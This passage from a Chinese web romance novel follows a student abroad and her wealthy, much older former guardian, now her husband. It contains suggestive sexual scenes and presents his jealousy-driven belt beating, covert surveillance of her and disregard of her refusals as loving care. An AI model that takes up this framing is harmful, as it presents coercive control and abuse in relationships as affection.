沈长凛一手托着谢沅的臀根,一手掐住她的下颌,将这个浅浅的啄吻,变成长驱直入的深吻。
她反应不过来,差些呜咽出声。
恰在这时,房外的明丞似乎等急了。
他又叩了叩门,抬声唤道:“谢沅,你在家里吗?”
谢沅的后背都被浸湿,她细弱地挣动着,想要先从沈长凛的怀里下来,他却将她吻得更狠。
直到她快哭出来时,他才放过她。
“你先等一下,行不行?”谢沅的眼眸湿润,“我跟他讲一下,然后、然后我们再……”
她的声音很弱,低低的,透着可怜。
沈长凛按开了谢沅公寓的大灯,他揉了揉她被吻得发肿的唇瓣,轻声说道:“好,听沅沅的。”
他姿态从容,将她抱到客厅的沙发上,用纸巾擦了擦她的脸庞。
谢沅被吻得缺氧,她下颌微抬,眼眸仍有些迷离。
虽然沈长凛方才吻她吻得很过分。
但今夜能见到他,她还是很高兴的。
谢沅弯起眉眼,柔声说道:“你稍微等一下,叔叔,我跟他讲完就回来。”
她坐在沈长凛的腿上,轻吻了一下他的脸庞,然后才从他的膝上下去。
谢沅的身上有一种藏得很深的馨香,透着甘意,只有距离很近时才能感知到,沈长凛靠坐在长沙发上,唇边含笑,浅色的眼眸里也蕴着暗光。
他轻声说道:“好。”
谢沅匆匆地回到门前,将房门打开。
明丞等了片刻,已经准备给她打电话,屏幕已经亮起时,她忽然打开了房门。
谢沅生得很好,但不是那种带有攻击性的美丽。
她柔弱得像是一朵菟丝花,懵懂娇美,非得是被人娇生惯养着长大,方才能养出这种涉世不深的天真感。
谢沅的脸庞透着薄粉,唇瓣也有些红。
莹润微肿,像是不小心被烫到了,又像是被人狠戾地吻过。
带着些平日不常见到的绮媚。
明丞微怔了一瞬,旋即神色恢复惯常的矜傲,他错开视线,轻声说道:“我还以为你不在公寓里。”
“走吧。”他转过身,“时间已经差不多了。”
“对不起,我姐姐今天来看我了,可能没法和你们一起了,”谢沅歉然地说道,“能帮我跟大家说一声抱歉吗?谢谢你。”
她的声音很柔,任谁听到这样的话语,也舍不得怪她。
“好。”明丞回过身来,看着她说道。
谢沅还拿过来了一盒甜点。
她弯起眉眼,笑着说道:“这是我今天试着做的,可以麻烦你带过去,跟大家分一下吗?”
谢沅的性子含蓄害羞,但对亲近的人,总是那样的热忱。
她很有礼貌,做事也总是很考虑别人。
明丞从谢沅的手中接过那盒点心,轻轻地“嗯”了一声,他转过身去。
公寓的门关上后,明丞没有多留,但不知道是不是他的错觉,他总疑心方才有一个压得很低的呜咽声传了过来。
沈长凛原本不允谢沅住公寓的。
他给她安排好了住处,连带司机、保姆、厨师也全都准备好。
谢沅的独立生存能力非常差。
她小时候被父母娇惯得很过,长大后虽然过了段苦日子,但冯依总还没在物质上苦着谢沅。
到了沈家后更不必说。
然而谢沅还是坚持要住公寓,沈长凛这回过来,原本是有一些秋后算账的意思。
但看到这个被她打理的很好很温馨的小窝,他到底没说什么。
小孩子在家里连饭都是他喂的,现在连烘焙都学会了。
沈长凛溺爱谢沅。
可见到她的成长,他还是会为她感到高兴。
占有欲最病态时,沈长凛希望谢沅只能完全依附于他,就连用餐沐浴这样的事也要靠他都没关系,爱欲和掌控的病态心念是交织的。
现在却不一样了。
他的沅沅还是一朵柔弱的花,可他想看到,哪怕没有他,她也能好好地盛放。
虽然他的占有欲、控制欲、保护欲仍然没有好到哪里去。
削减恶欲的,是绝对的安全感。
沈长凛抱起谢沅,直接将人往卧室带去。
向来害羞内敛的孩子,在久旷之后,也热烈起来。
谢沅捧着沈长凛的脸庞,跨坐在他的腿上,亲吻着他的薄唇。
她的技巧生涩,他得什么都不做,她方才能把控主动权。
就这样吻了片刻后,谢沅还是要缓不过气,她的眼眸湿润,脸庞潮红,低低地喘着气。
室内很温暖,但肩头的细带滑落时,她还是瑟缩了一下。
谢沅的脖颈不住后仰,嫣红的舌尖从唇瓣中吐出,那么红的一点,透着出奇的绮媚意味。
她的眼尾也是湿红的。
眸光潋滟,浸透了柔软的水色。
谢沅的雪肤在微暗的夜里白得惊人,近乎是在发着莹润的光芒,她像个漂亮的妖精,乌黑的长发披在的肩头,一颦一蹙,都带着惊心动魄的美丽。
生涩的花朵,渐趋馥郁熟透。
比起一年前的懵懂无措,现今的谢沅眉眼间都带着可怖的蛊惑。
她依然纯真,可湿红的唇瓣间,透着的却全是鲜明的欲气。
谢沅勾住沈长凛的手指,抬起湿润的长睫,声音细柔:“叔叔,我好饿呀。”
她看向他,眼底都是天真的意味。
可那纤细的腰肢,已经开始摇曳-
谢沅第二日全靠闹钟才勉强地爬起来,自从开学以后,她很久没有睡得这么迟过,一早醒来头疼欲裂。
她很久没有醒这么迟过,还好今天没有课,不然真的要完蛋。
清醒过来后,谢沅满心都是后悔。
后悔。后悔。非常后悔。
谢沅的腕骨透着青紫,都是勒痕,她坐起来的时候,都感觉手疼。
但刚一坐起,又感觉臀尖疼得厉害。
沈长凛疼她的时候是真疼,狠起来也是真狠。
他当时嘴上说着住公寓没关系,最后还是跟她秋后算账了,连那个宗教学学弟的醋他也要吃,而且他之前还不表现出来。
谢沅没有设防。
最后就是被沈长凛用皮带摁在腿上狠抽了一顿,被迫用一个晚上学会男女之间要保持距离的道理。
谢沅觉得她应该是全球唯一一个,在除夕夜还要挨打的倒霉孩子。
想起昨夜的事,她的脸庞就开始发烫。
谢沅擦了擦额前的薄汗,阖着眼眸深吸了一口气,心绪才慢慢地平复下来。
她的小床柔软舒适,但到底不是双人床,跟家里的超级大床更没法比,也不知道沈长凛那么高的个子,是怎么睡的。
谢沅正想着,沈长凛便从外间走进来了。
他事情多,连到这边看谢沅,总还有一些事情要处理。
谢沅没有坐着,她用一种别扭的姿势趴在床上,回头时眸里尽是水意,带着控诉和委屈。
沈长凛的眉心舒展。
他将谢沅抱了起来,柔声问道:“还疼吗?要再上一次药吗?”
谢沅很疼,但她不想再上药了。
她拼命地摇着头,说道:“不疼了,叔叔。”
沈长凛容色温柔,却没有听谢沅的,愣是将她短裤褪下,柔膝掰开,给她又上了一次药。
她羞得欲死,反抗也反抗不动,只能由着他来上药。
谢沅的心情更郁闷羞耻了。
但上完药后,沈长凛到底没有再欺负她,他吻着她的脸庞,柔声说道:“新年快乐,沅沅。”
他轻声哄她:“压岁钱已经打到你的卡上了。”
谢沅都快要过懵了,差点忘记除夕夜过后是新年。
她的声音还有些哑:“新年快乐,叔叔。”
谢沅打开屏幕,感到那一串零的压岁钱时,眼眸都快要被闪到看不清。
她一下子就顾不得羞了,摇着头说道:“太多了,叔叔!”
谢沅没有太多用得到钱的地方,她的各种开销,都是沈长凛那边的人直接负责的,须要什么,开口讲一声就会有送来。
现今在国外,她才开始花钱。
沈长凛给谢沅的零花钱非常多,她根本就用不完。
他亲了亲她的额头,轻声说道:“那算作叔叔的聘礼,好不好?”
谢沅没有反应过来,就被沈长凛抱出了卧室,他现在会了一点的餐点,不过仅限于甜点和小蛋糕。
为了不委屈着谢沅,他还是让专门的厨师过来做的早餐。
那栋专门给谢沅备下的别墅,和那些专门准备好的人,现今都派不上用场,这还是厨师第一次过来。
谢沅这边的东西还算齐全,厨师大展身手。
早餐非常丰盛,比她的正餐还要美味。
沈长凛也没多言,将谢沅直接抱在了腿上,他很温柔地哄她:“昨天弄疼你了,叔叔跟你道歉,下次不会这样了。”
他是真的坏。
每次都好好地跟她道歉,然后每个下一次还要欺负她。
谢沅睡醒时光顾得羞了,现在才想起来气。
她最怕的就是皮带,比戒尺还怕得多。
谢沅红着脸庞,别扭地侧过身:“大家都住公寓,而且我会照顾自己,您非要我住外边,那多招眼压,在燕城都不这样的。”
她越说脾气越上来。
“我跟那个学弟也不熟。”谢沅生气地说道,“你乱吃醋,我都不这样的。”
谢沅当然不会这样了。
沈长凛的身边就没什么女人,他最舍不得的也是让谢沅误会难过。
爱情的苦,他一个人吃就够了。
沅沅只吃糖不吃苦。
沈长凛一边喂谢沅吃早餐,一边温声说道:“是,是叔叔的错,我太坏了,还总欺负沅沅。”
他笑着说道:“晚间我让沅沅欺负回来,好不好?”
谢沅是好孩子,她不做欺负人的事。
“你下次不这样就好了,”她咬住芒果,“我就不生叔叔气了。”
沈长凛昨天很坏,但谢沅也很后悔,昨天主动地蛊惑他,两个人本来就分别很久,她那不是在火上浇油吗?
他笑出声来,搂住她的细腰:“沅沅对我真好。”
谢沅的脸庞又热起来。
沈长凛过来是想陪她的,但她课业很繁忙,度过这个周末后,明天一早还有课要上。
晚间的课还有小测。
谢沅想想就觉得崩溃,除了数学,她在学业上没受过什么挫,到这边后却是每天都过得战战兢兢、如履薄冰。
沈长凛指骨轻动,帮她上药。
谢沅靠在他的怀里,被迫接受他的关爱,握着笔的手却不停地颤抖,一个字母都写不下去。
“不、不上药了,叔叔。”她咬住唇瓣,“晚点再上吧。”
沈长凛俯身吻她,指节却没停:“不行,会疼的,沅沅。”
谢沅有些懵然,没明白过来他是什么意思。
她的作业做得很艰难,快九点才终于做完,眼眸也快哭肿了。
被沈长凛从瓷白浴缸里强行抱出时,谢沅“哇”的一声就要再哭:“你下次别来看我了。”
她的哭声可怜,听得沈长凛都心生怜意了。
如果谢沅没有那么配合,在上床后又跟八爪鱼似的往他怀里蹭的话。
这小孩子,怎么能这么口是心非呢?-
谢沅的课业繁忙,偶尔还要出去做小调研,沈长凛没在她这边待太久,又飞去了沈宴白那边。
沈宴白之前有段时间发ins很疯狂。
这半年又沉寂下来。
他实在是很有名,谢沅跟同学们聚餐时也会听到他的名字。
在这边待了一段时间后,他们也认识了德国和其他国家的同学。
某天聊天的时候,忽然有人提到沈宴白,谢沅还以为是听错了,片刻后意识到他们说的真的是她哥哥。
她好久没有跟他联系过。
新年的时候沈宴白卡着零点,给谢沅发了新年快乐。
沈长凛看到,直接删掉了。
谢沅是后来在历史记录时偶然发觉的。
不过都过了这么久,再回复也不合适,于是她就当作没有看到。
沈宴白的粉丝很多,也不能说是粉丝。
他毕竟不是演员、歌手之流,沈家的大少爷身份尊贵得叫人生畏,有时在网路上多提都不成。
一个女同学先提到的。
“他换了新头像,是一座玫瑰庄园,”她笑着说道,“应该是家里的吧,肯定不可能是网图啦。”
明丞轻描淡写地说道:“他在海外分部那边嘛。”
那边的玫瑰很有名,又是国花,气候也适宜养玫瑰。
谢沅隐约记得沈家在那边却是有一座玫瑰庄园,不过她还是觉得很神奇,明丞居然也知道这些事。
能出国读书的,家里多少都是有些底蕴的。
明丞又是地道的宁城人,他宁城话说得好听又标准,不像谢沅只记得一句“册那”。
谢沅都要怀疑,他是不是认得明席了。
那位女同学眼睛亮起,笑着说道:“明少连这都知道呀?能不能多透漏点呗?”
谢沅捧着热可可,努力地把自己的存在感降低。
她后来把沈宴白又屏蔽了,以后好久没听到他的消息了。
“听家里人说的而已,”明丞轻笑了一下,“具体的我也不知道。”
他是学弟,性子又有点矜傲,但在他们这群人中,却渐渐地形成了以他为中心的圈子。
谢沅在哪里都是被人带着玩的。
她没什么感觉,假作是好奇的围观者,托着腮帮安静地听。
但明丞忽然轻轻地看了谢沅一眼。
“你之前不是说,姐姐也在那边吗?”他淡声说道,“应当也知道吧。”
谢沅二话不说,直接开始摇头:“我不太了解这些,我姐姐也才参加工作。”
她眨着眼眸,看起来真的一无所知。
明丞没有多言,话题也渐渐地被移开。
但离开后,谢沅还是小小地松了一口气,天越来越热了,三月底的慕尼黑,晴空像油画里的一样湛蓝如洗。
再过一周,就是复活节假期。
春季学期过得非常快,谢沅费了好大的功夫,当初那门拿到C级评价的课程,才终于拿到了A+。
她这么内敛的人,都忍不住跟沈长凛拨电话讲了好久。
复活节假期很短,只有两周。
沈长凛原本想要谢沅回国的,但他事情很多,不仅没能让她回来,过去看她的计划也泡汤了。
跟他在一起总要遭罪。
谢沅还是有点难过,沈长凛的眉眼带着歉然,他低声哄谢沅:“五一的时候我把时间腾出来,到时候带你去玩。”
她不难过了,笑着说道:“应该是我带叔叔玩。”
谢沅还没有时间和空闲去别的州玩,不过慕尼黑周边,她跟着同学们已经转得很熟悉。
难为他们熬夜做作业,就为了第二天能出去短暂玩一段。
可惜的就是,一起的同学没有学历史的,不然肯定能导游得更方便。
谢沅为了考试又累了一整周。
结束最后一门考试时,马上就到复活节假期。
各处的篝火活动已经开始,在这个以严谨肃穆民族性格著称的国家,也处处充斥欢腾的气氛。
谢沅对宗教学了解不多,她也没有信仰。
但她真的很感谢,这么多因为宗教而存在的假期。
温思瑜和秦承月原本要过来看谢沅的,也因为事情太忙碌,没有能够来成。
谢沅于是就跟着同学们去旅行了。
他们这支交换小队简直不是来读书的,是来旅游的。
这边的交通很便捷,短短两周的时光,他们快将半个德国给转了一遍。
尖顶式的建筑很多,教堂也很多,就是谢沅喝不了酒,过来这么久一口啤酒也没有喝过,但旅途还是很有意思的。
沈长凛很忙,但还是抽空算着时差跟谢沅通话。
临到假期快结束的那天,她穿着拖鞋,站在酒店的露台边跟他讲电话:“我当然很想您。”
谢沅穿着白色的睡裙,乌发披散。
她轻笑着,软声说道:“要是您有空过来的话,这些风景我本来应该是和您一起看的。”
谢沅的声音里都是柔软的情愫,但那口吻却又像是在跟长辈对话。
她到底有没有男友这件事,一起同行的朋友已经暗里探讨了许多次。
可最终也没人敢出手。
谢沅在燕大时就是缄默的人,也有人说她是高岭之花,难以攀折。
相处下来,才知道是这么好脾气的女孩子。
也就明丞对人依然有些冷淡疏离。
谢沅挂断电话后,才发觉众人都出来散凉了。
她的脸庞泛着薄红,但同行的朋友们却都没说什么,只是了然地笑了笑:“跟你叔叔姐姐他们讲电话呢?”
这么久下来,他们都知道她常跟沈长凛和温思瑜通电话了。
谢沅将垂落的发丝捋至耳后,她抿了抿唇:“嗯,跟叔叔在讲电话。”
她仰起脸庞,露出浅浅的笑容。
谢沅的容色柔美,眼眸里却像是承载了星子似的,格外的璀璨明亮。
她的声音那样软,那样轻,却让一些人心里的石头落了下来。
是叔叔,不是男友就好。
第二个学期开始得很快。
谢沅学东西很下功夫,也就比常人要学得更累,但一转眼交换的时光已经过去三分之一,这学期结束后还有暑假,就很令人期待了。
不知道为什么。
这学期宗教学和哲学的选课,交叠在一起的好像特别多。
谢沅有好几节课都是跟明丞一起的,小组活动也被分在一起。
都有人误以为他们是情侣了。
谢沅很迟钝,渐渐也意识到明丞好像有些不太喜欢自己,虽然她也不知道为什么。
她紧忙跟人解释:“我们不是情侣,只是同学。”
恰好沈长凛不喜欢谢沅跟明丞多接触,于是她很礼貌地跟他保持着距离,除了课业上的事外,话也很少跟他讲。
直到网球社团的社长第三次来堵谢沅时。
谢沅来这边后很少运动,只偶然一次跟人打了网球,很偶然被网球社的社长给撞见了。
金发碧眼的高个子德国青年,模样俊朗,邀请谢沅参加网球社和比赛。
他一点也不像传统意义上的德国人,后来谢沅才知道他小时候是长在隔壁洲的。
谢沅礼貌地拒绝了。
但这位社长很执着,连着堵了谢沅三次。
同行的女伴调侃:“他不像是想要你参加社团,更像是想要你参加他的派对。”
谢沅迟钝地意识到,她是被人追了。
她以前很怕在私下里和异性接触,现在也能够坦然地和人一起喝咖啡了。
第三次被堵的时候,谢沅还是很有礼貌,她摆着手说道:“我之前和男友游玩时意外跌伤了,最近都不方便打球了。”
咖啡馆里有乐队,人也非常多。
谢沅坐在角落里,突然被堵还是有些无措。
金发碧眼的青年笑容灿烂,让谢沅想起太阳花,可他俯身想要拥住她时,她本能地紧绷起来。
她没来得及言语,便有人大力将那青年拽开了。
明丞冷着脸,厉声说道:“你没听见她有男友了吗?”
他抬起手臂,指节握成拳,作势要打那青年。
咖啡馆内突然就乱了起来,侍者匆忙地走近,谢沅紧抿着唇,心脏在剧烈地跳动着,她却没有像过去那般直接陷入应激的状态。
她撑着手臂站起身,低声说道:“承蒙您的厚爱。”
“但是我们不合适,我也不想参加网球社,”谢沅看向那青年,“如果你下次再这样的话,我会给学校发邮件。”
她抿着唇,向来柔弱的姑娘,眼眸里却坚定至极。
即便如此,将事情处理完后,明丞还是多陪了谢沅片刻,他声音很轻:“我送你回去。”
谢沅想要拒绝,但明丞执意送她回去。
她垂着眼眸,两人一路无话。
正在谢沅要关上公寓的门时,明丞忽然说道:“如果你有须要的话,我可以暂时假扮你的男友。”
生得漂亮又没有自保能力的姑娘,总是要更容易遭到觊觎伤害。
他的手撑在谢沅的门边,眼中透着少许郑重。
因为年岁上差了少许。
谢沅一直将明丞当弟弟看,她神情微怔,知道他的主意是不错的,却还是下意识地就想拒绝。
就在这时,一个男人的身影突然出现在谢沅的身后。
他的身形高挑,容色俊美矜贵,身上的压迫感强得令人生惧。
沈长凛的指间沾着少许的血迹,他揽过谢沅的肩头,很轻声地说道:“谢谢,但不必了。”
他居高临下,淡声说道:“她已经有丈夫了。”
70-78
第71章 让她叫了一整夜daddy。……
沈长凛原本是预计将五一的时间腾出来看谢沅的。
但事情突然很多,直到五月中旬方才有大片的空余。
谢沅昨晚收到沈长凛有空闲的消息,全然没有想到他这么快就过来了,她偏过眸子看向他,眼底都是惊喜。
明丞愣在原地,矜傲的神情也带着些失神。
沈长凛轻柔地抚了抚谢沅的脸庞。
她刚还有些失落难过,见到他的瞬间,那些情绪全都消退了。
那男人也是。
他气势极强,就是再蠢笨的人,也能感受到他是何等位高权重的人。
明丞在宁城是见过许多上位者的,可没有一个人的气场强如眼前人的,既尊崇又淡漠,瞧着万事不挂心上,偏偏令人连头都不敢抬。
但这样的人,看向谢沅的时候,眼里却只有纵容和宠溺。
明丞隐约有感觉,谢沅的身份绝不简单。
然而她说是燕城人,燕城又没几家姓谢的。
几次试探,她也没什么反应,明丞便没有想更多。
是在这个瞬间,他才陡地想到,去年温思瑜逃婚时明席偶然讲到过,秦家那一位私养着的玫瑰,就是姓谢来着,虽然生得柔弱,网球却打得很好。
因是被娇藏在秦家,知道的人并不多。
沈长凛淡淡地看了明丞一眼,轻声说道:“辛苦你送沅沅回来了。”
他漫不经心地说道:“我们还有事,就不多送了。”
沈长凛揽着谢沅的肩头,一边将人往屋里带,一边把公寓的门关上。
她都没有反应过来,就被他给抱了起来。
谢沅惊呼一声,攀上沈长凛的脖颈。
她见到沈长凛心里很高兴,但又担心他误会,声音柔软地解释:“叔叔,刚刚是有一个人想堵我,那个同学才送我回来的。”
室内的光线昏暗,沈长凛的神情不明。
谢沅仰起脸庞,心中有些忐忑,她懵懂地唤他:“叔叔?”
沈长凛逆光站着,他低下眼帘,轻声问道:“有人想堵你,为什么不告诉我?”
他说出这句话的刹那,谢沅就意识到,方才发生的事沈长凛全都知道了。
她第一次出远门,还是一个人住在外面。
沈长凛从没说过放心谢沅,总还想让她搬到他早先准备好的住处,在她身边放些人再正常不过了。
她之前出门跟人玩,他也会暗里叫人跟着的。
谢沅抿了抿唇,垂眸说道:“因为是小事,叔叔,而且刚才也没有发生什么。”
“我跟那个人不太熟悉,”她慢慢地说道,“之前只以为他是想让我参加社团,我以后会注意的,叔叔。”
谢沅抬起眼眸,看向沈长凛。
他的控制欲很强,她是知道的,她也不想让他多担心。
“为什么会觉得是小事?”沈长凛轻声说道,“他都想要碰你了,这次刚好是在咖啡馆,有你的同学,如果是在别的地方呢?”
谢沅愣了一下。
她垂下头,低声说道:“我不会跟人单独乱去地方的,叔叔。”
沈长凛的保护欲也很强,他总希望能将谢沅时刻呵护在羽翼之下。
可是她到底不是十五六岁的孩子了,她长大了,也想要再独立些,不必沈长凛时刻操心、担忧。
他难得来一次这边,谢沅不想把时间花在吵架上。
她握住沈长凛的手,仰头说道:“叔叔,这几天我搬到那边,可不可以?”
谢沅最怕的就是沈长凛生气,她也不想要他生气。
她是很习惯妥协的人,如果是沈长凛的话,她其实没什么不能答应的。
之前不想住在那边,谢沅只是怕太招眼,沈长凛为她的安全考虑,希望她能平安喜乐,如果当初他强令她住那里,她也不会拒绝的。
但沈长凛却摇了摇头。
“不用,沅沅。”他俯下身,捧住她的脸庞,“叔叔只是希望,你在遇到困难时,能够多想到我。”
沈长凛的容色俊美。
两人多时不见,谢沅有一瞬的失神。
他慢声说道:“你看,你哥哥那样的性子,在那边遇到事情的时候,还会问我怎么办,请我遣人过去。”
“我是沅沅的丈夫,”沈长凛低声说道,“更应该为沅沅排忧解难。”
“以前是因为我们在一起,我知道你每日在做什么,能够提前帮你将事情处理好,”他声音温柔,“沅沅知道事后感谢我。”
沈长凛拂去谢沅眼尾的泪水。
他轻声说道:“可是沅沅有没有想过,你可以提前告诉我,你遇到麻烦了?”
谢沅的眸光晃动,泪水莫名地掉个不停。
她有很长一段时间都是寄人篱下,哪怕在沈家有沈长凛疼着,却到底过的也是寄养的日子。
所以谢沅很怕给人带来麻烦。
即便这个人是她的丈夫,是在这个世上最宠她爱她的人。
沈长凛从来不觉得谢沅的事是麻烦,他很愿意帮她解决问题,也很想要让她高兴起来。
他倾身将谢沅抱了起来。
“你是我的宝贝,”沈长凛吻了吻谢沅的额头,“比这世上的一切都重要。”
谢沅的泪水掉个不停,她的神情有些迷茫。
但在被沈长凛抱起的刹那,压抑着的情绪忽然全都流溢出来。
他是她的丈夫呀,她应该更信任他的。
谢沅这个年岁的孩子都是一样的,很想要证明自己已经长大,很想要展示自己的成长。
但如今她做出来的事却是,还不如之前依赖信任沈长凛。
他总希望她能多跟他言说生活中的事,无论喜乐,他都很喜欢听她讲,报喜不报忧从来都不适用于沈家的。
谢沅攀上沈长凛的脖颈。
她咬住唇瓣,强忍泪意:“我会的,叔叔……以后,以后我都告诉你。”
两个人在一起后,须要漫长的磨合。
即便他们已经共同生活多年。
关系的变化,本质就意味着天翻地覆,过往的事都不一样了,相处的方式也会发生变化。
而分别会加剧这个变化。
沈长凛按住谢沅的薄背,将人往怀里抱得更紧。
他的沅沅实在太乖太懂事了,其实她不用这样的。
谢沅哪怕任性到如沈宴白少时那般,天天寻事,沈长凛也不会怪她。
爱是常觉亏欠。他总想更疼谢沅一些-
沈长凛难得过来一趟,谢沅这学期的课业依然繁重,但好歹时间上没有那般紧张了。
她提前就做过准备,把能做的作业都提前做了,然后腾出时间来和他一起。
谢沅的小床实在太小了。
新年时沈长凛没有在这边久待,他这回要常待些日子,她最终还是搬到了他准备好的那座别墅。
建在半山上的小别墅风景非常好,入眼是跟她卧室外景色相类的青绿。
司机、保姆、厨师,乃至园艺师都是齐全的。
谢沅本来都想好要带沈长凛去何处玩了,但误会解开后,她又被迫随着他荒唐了些时日。
他揉着她的小腹,将她抱在膝上。
沈长凛声音微哑:“到时候,沅沅这里就会有我的孩子。”
谢沅面红耳赤,脖颈都发着烫。
她经不住撩拨,羞得眼眸都要睁不开。
沈长凛很坏,他低笑着说道:“有孕后沅沅还会涨奶,那是很难受的事,不过没关系,我一定不会让沅沅难受的。”
他的手掌覆在谢沅柔软的小腹上。
“孕期的沅沅会比平时敏感很多,”沈长凛柔声说道,“沅沅现在就这样,到时候我一碰,沅沅估计就要哭了。”
他到底是怎么用这样矜贵的语调,说出这么禁忌出格话语的?
谢沅又羞又气,想要沈长凛膝上下去,又想要掩住他的薄唇。
他唇边含笑,轻声说道:“别人见到沅沅有孕,都知道沅沅是我的了。”
谢沅的脸庞通红,感觉有热烟快要溢出。
她在沈长凛的腿上挣动着,到底还是侧过身捂住了他的嘴。
“你不许再说了。”谢沅的脸颊红得滴血,“再说……再说你今天去住客房。”
她连威胁都这样天真。
沈长凛往后倚靠,没忍住笑出了声,他放过了她,可谢沅更生气了,她难得硬气:“你也不许笑,你要是再笑,也要去客房。”
她羞得耳尖也透着绯色。
沈长凛在床笫间不忌讳言语,他花样实在是太多了,谢沅一点办法都没有,每次只能强行阻止他。
他撑着手臂坐起,轻声说道:“好,好,我不笑了。”
沈长凛没有再笑,可那双浅色的眸里,分明还全是笑意,他温声说道:“公主殿下说什么就是什么。”
他的公主却不能跟他再继续荒唐了。
谢沅的作业已经做了很多,仍然有一部分要继续完成。
周日下午一睡醒,她就开始做作业,沈长凛在隔壁的房间开短会,还处理了几份文件。
他这次要在这边待十多天。
谢沅的课集中在周一到周四,她去上课,他便趁她忙的时候去了趟海外分部。
周一一早,沈长凛飞隔壁,谢沅也背着包去上课。
明丞是很矜傲的性子,上次的事,谢沅很感激他,也有些不好意思。
两人是同一个小组,坐得很近。
谢沅将在家里做的黑森林蛋糕用盒子装好,然后系上蝴蝶结,在下课后送给他:“上次的事,很谢谢你!”
她还不知道明丞已然知悉她的身份。
只是觉得他好像待她更疏离了些。
明丞收下了谢沅的谢礼,客气地说道:“没事,举手之劳。”
将谢礼送给他后,谢沅笑着招手跟他讲了再见。
最近沈长凛在这边,他不在家里,她还是没有再外面多待,图书馆都没去,下课后就回家。
周二晚上,沈长凛就回来了。
谢沅在浴室洗澡,水声阵阵,她快要洗完了,正准备披上浴袍。
但她刚抬起水眸,沈长凛就将她抱了起来。
谢沅的惊声都被吞没。
一整个晚上便这样荒唐地过去了。
从浴室到客厅,再到用餐的岛台,最后是露台和卧室。
男人西装革履,领带都没乱,谢沅却哭得要不成样子,到最后时,她连攀上沈长凛脖颈的气力都没有了。
他俯身继续吻她,将她的哭声也给封住。
翌日清晨,谢沅的思绪都是恍惚的,差些以为还在周末。
沈长凛叫她起床,声音轻柔:“今天要我送你去上学吗?”
谢沅拼命地摇头,坚定地拒绝他:“不用了,不用了,叔叔。”
要他送?沈长凛在车上都不会放过她的。
时间过得非常快,一到周五,谢沅又有了空闲,她如约和沈长凛一起出游。
两人好久都没有一起过。
谢沅嘴上说着不要,心里还是很想念他的。
慕尼黑的风光很好,天空高远,辽阔无边,被群山环抱的古老城市,像是坐落于人间的幻境。
巴伐利亚的风情,是蜿蜒在历史长河里肃穆的浪漫。
谢沅坐在车上,她玩得很累,阖着眼眸,说梦话般地言语:“叔叔,我们办西式婚礼吧?我想穿婚纱,就是教堂里那个姐姐穿的类型,真的好漂亮……”
她平时不会说这种很直接的话。
今天是闹得太累了,连思索都没有力气,才会这样言辞。
沈长凛的心神柔软。
他抚着谢沅的头发,轻声说道:“嗯,都听沅沅的。”
谢沅靠在沈长凛的怀里,她累得快要睡着了,又想起他那天说的荤话。
“我孕期的时候,你也不可以欺负我,”她的声音很柔软,“要听我的,还要对我很好才可以。”
任性的话语娇娇的。
小孩子很少这样,沈长凛的心更软了。
“不欺负沅沅,”他温声说道,“到时候沅沅说什么,我都听沅沅的。”
沈长凛抱着谢沅,声音柔软得不可思议:“我会对沅沅非常好的,以后也会很爱沅沅。”
她是真的累得要睡着了。
谢沅趴在他的怀里,长睫垂落,没多时就靠在他的肩头睡了过去。
临到下车时,她才稍微骤然惊醒了一瞬,拉着他的手说道:“你要走了吗?”
沈长凛将她抱了起来,声音温和:“我不走,沅沅。”
他说了一半的谎话,晚上沈长凛的确没有走,但是第二天早上他仍然要离开。
他坐在车上,抱着谢沅给她擦眼泪,轻声安慰她:“不哭了,沅沅,马上就放暑假了,等你寒假回来,我们还要结婚,到时可不要嫌叔叔烦。”
她紧紧地搂着沈长凛,脸庞贴在他的胸前。
“我不会的。”谢沅带着鼻音说道,“我只会特别想你。”
含羞的孩子,也学会了说直白的爱语。
分离的焦虑和随之涌起的恶欲,到底是因为绝对的安全感而退潮。
沈长凛俯身轻吻她的额头,柔声说道:“好。”-
第二个学期快得超乎谢沅的想象。
她五月份还在难过沈长凛的离开,一转眼就到了七月的期末考试。
谢沅从来没有担心过结课的事,这回却是焦急了好多天,她每天都在看课本和笔记,连将要归家的喜悦都要忘却,从早到晚都在图书馆泡着。
一起的同学也都在图书馆奋战。
天越来越热。
湛蓝的晴空没有一缕云彩,高耀的日光穿透大气层,直直地照射到人的身上。
谢沅最近准备考试,时间实在是太紧了,她乖乖地从公寓搬到别墅。
沈长凛却还是不放心,怕她中暑,让医生也一并过去了。
谢沅哭笑不得,很想要拒绝,她考完试后马上就要回家了,但她知道的时候,医生已经过来了。
她很努力了一段时间,终于在七月中旬考完所有的试。
不过沈长凛是真的一天都没允谢沅在德国多待。
考完试后,陈秘书就推着她的小行李箱过来,跟她打招呼:“沅沅,这边!”
谢沅多时没有见到他,差些以为看花了眼。
她还没来得及跟同学们多说再见,就被陈秘书给带上了车。
谢沅懵懵的,睁大眼睛问道:“陈叔叔,你怎么过来了?”
“沈总原本想亲自过来接您的,”陈秘书笑着说道,“临时有事要处理,所以才让我过来的。”
谢沅满脑子还都是那些哲学家们。
她揉了揉额侧的穴位,方才缓过神来,她考完试了,从放下答卷的那一刻开始,就开始暑假了。
最近精神太过紧绷。
谢沅都要晕眩起来,旋即她想到,沈长凛的安排没有错。
她回去就要准备燕大的夏令营,的确不能在这边多待。
上飞机后,谢沅的紧张情绪才彻底退去,她舒服地往后倚靠,软声说道:“陈叔叔,我先睡一会儿,麻烦晚餐的时候你叫我一声。”
陈秘书应下后,她就开始呼呼狂睡。
谢沅这几天累得太过,人都快要虚了,但回国以后,还有很多事要准备。
这大概是她生命中最辛劳的一年。
谢沅除了用餐的短暂时光,十个小时全都睡了过去。
她很能睡,每次飞国际航班都能从起飞睡到落地,连时差都不用倒。
谢沅下机的时候是燕城时间的早上八点半。
日光灿烂,炽热的光线透过玻璃照亮谢沅的脸庞,她抬起手遮住烈阳,当瞧见沈长凛身影的刹那,她的手瞬时就落了下来。
她穿着百褶裙,小跑着奔向他。
曾经沉默寡言的姑娘,就像是灿烂的花朵般绽放。
陈秘书推着谢沅的小行李箱,也忍不住露出笑容。
沈长凛这边的人很快将东西接过,直接把谢沅接上车,她睡得很饱,这会儿一点都不困。
她的眉眼弯起,紧紧地抱住沈长凛:“我好想你,叔叔。”
沈长凛温柔地亲了下谢沅的额头,轻声应道:“叔叔也很想你。”
直到回家后,她还像个小八爪鱼般地依偎在沈长凛的怀里。
谢沅声音柔软,跟他声声讲着周末和哪些同学去了哪里玩,然后又向他诉说考试是多么的变态,她是多么的辛苦。
两个人温存了许久。
谢沅考试考得大脑发昏。
“乖孩子,自己……,让……。”沈长凛话语温和,要求却越来越严苛。
